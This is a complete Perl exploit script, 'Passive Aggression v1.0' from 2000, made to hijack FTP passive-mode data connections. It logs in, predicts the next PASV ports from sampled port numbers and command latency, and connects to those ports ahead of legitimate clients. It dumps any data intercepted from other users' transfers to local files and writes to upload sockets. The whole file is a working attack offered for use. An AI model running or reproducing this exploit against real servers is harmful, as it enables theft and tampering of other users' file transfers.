Passive Aggression v1.0
Exploits FTP servers using passive mode to transfer data.
#!/usr/bin/perl
###############
#
# Passive Aggression v1.0
#
# Exploits FTP servers using passive mdoe to transfer data.
#
# Usage: ./pasvagg.pl ftp.cdrom.com anonymous h4x0r@hotmail.com
#
# Copyright (C) 2000 H.D. Moore <hdm@digitaloffense.net>
#
# https://www.digitaloffense.net/
#
##
use IO::Socket;
use IO::Select;
sub usage {
print "Usage: $0 [hostname] <username> <password>\n";
exit(-1);
}
sub scanport {
my ($port) = @_;
my $s;
$s = IO::Socket::INET->new ( PeerAddr => $host,
PeerPort => $port,
Proto => "tcp",
Type => SOCK_STREAM
) || return;
if (fork())
{
return;
} else {
$bytes = 0;
$reader = 0;
$SIG{'INT'} = 'IGNORE';
$filename = "$host-$port.dmp";
my $sel = IO::Select->new();
$sel->add($s);
@ready = $sel->can_read(5);
foreach $fh (@ready)
{
$data = <$fh>;
if (length($data) == 0) { next; }
$bytes += length($data);
print "\n:: reader ".length($data)." found on $host:$port\n";
$reader++;
open (DMP, ">".$filename) || die "could not create dump file: $!";
print DMP $data;
$sel->remove if eof($fh);
}
if ($reader)
{
$0 = "PASV Aggression: downloading from $host:$port";
while ($line = <$s>)
{
$bytes += length($line);
print DMP $line;
}
close(DMP);
print "\n:: finished transfer of $bytes bytes from $host:$port\n";
} else {
print "\n:: ?writer? found on port $port\n";
print $s "REAPER\r\n";
}
close($s);
exit;
}
}
sub LoginToServer {
my ($socket) = @_;
my @ready;
my $fh;
$response = <$socket>;
chomp($response);
if ($response !~ m/^220/)
{
print "server gave us a bad response: $response\n";
close($socket);
exit;
}
print ">> $response\n";
print ":: logging into server as $username.\n";
print $socket "USER $username\r\n";
$response = <$socket>;
chomp($response);
while ($response !~ m/^331/)
{
if ($response =~ m/^5/)
{
print ":: ERROR:\n";
print ">> $response\n";
exit;
}
print ">> $response\n";
$response = <$socket>;
chomp($response);
}
print ">> $response\n";
print $socket "PASS $password\r\n";
$response = <$socket>;
chomp($response);
while ($response !~ m/^230/)
{
if ($response !~ m/^2/)
{
print ":: ERROR:\n";
print ">> $response\n";
exit;
}
print ">> $response\n";
$response = <$socket>;
chomp($response);
}
print ">> $response\n";
print $socket "PASV\r\n";
$response = <$socket>;
chomp($response);
while ($response !~ m/^227/)
{
if ($response !~ m/^2/)
{
print ":: ERROR:\n";
print ">> $response\n";
exit;
}
print ">> $response\n";
$response = <$socket>;
chomp($response);
}
print ">> $response\n";
print ":: server ready for passive attack\n";
}
sub GetCurrentPort {
my ($socket) = @_;
my $PORT;
my (@address,$p1, $p2);
print $socket "PASV\r\n";
$response = <$socket>;
chomp($response);
$response =~ m/(\(.*)/;
$PORT = $1;
$PORT =~ s/\(|\)|\.//g;
($address[0],$address[1],$address[2],$address[3],$p1,$p2) = split(/\,/,$PORT);
$ip = join(".", @address);
return DecodePort($p1,$p2);
}
sub DecodePort {
my ($p1,$p2) = @_;
return unpack "N", pack "B32","0" x 16 . substr((unpack "B32",pack "N", $p1),24,8).substr((unpack "B32",pack "N", $p2),24,8);
}
###################
# MAIN #
###################
$host = shift() || usage();
$username = shift() || "anonymous";
$password = shift() || "mozilla\@";
$| = 1;
@PortSample = ();
$CmdLatency = 0;
$now = 0;
$0 = "PASV Aggression: control process";
$socket = IO::Socket::INET->new ( PeerAddr => $host,
PeerPort => 21,
Proto => "tcp",
Type => SOCK_STREAM
) || die "could not connect to server: $!";
print ":: connected to $host\n";
LoginToServer($socket);
print ":: sampling passive port selection\n";
for ($cnt = 0; $cnt < 10; $cnt ++)
{
$now = time();
$PortSample[$cnt] = GetCurrentPort($socket);
$CmdLatency += time() - $now;
sleep(1);
}
if ($PortSample[0] > $PortSample[9])
{
$rate = (($PortSample[9] + 65535) - $PortSample[0]) / 10;
} else {
$rate = (($PortSample[9]) - $PortSample[0]) / 10;
}
$latency = $CmdLatency / 10;
print ":: passive connection rate = $rate/sec\n";
print ":: passive command latency = $latency seconds\n";
print ":: starting the reaper engine\n\n";
while (1)
{
$start = sprintf("%d", ($rate * $latency) + GetCurrentPort($socket));
print "\r ";
print "\r:: starting port $start\n";
for ($port = $start; $port < $start + 15; $port++)
{
print "\r ";
print "\r:: scanning port ($port)";
scanport($port);
}
}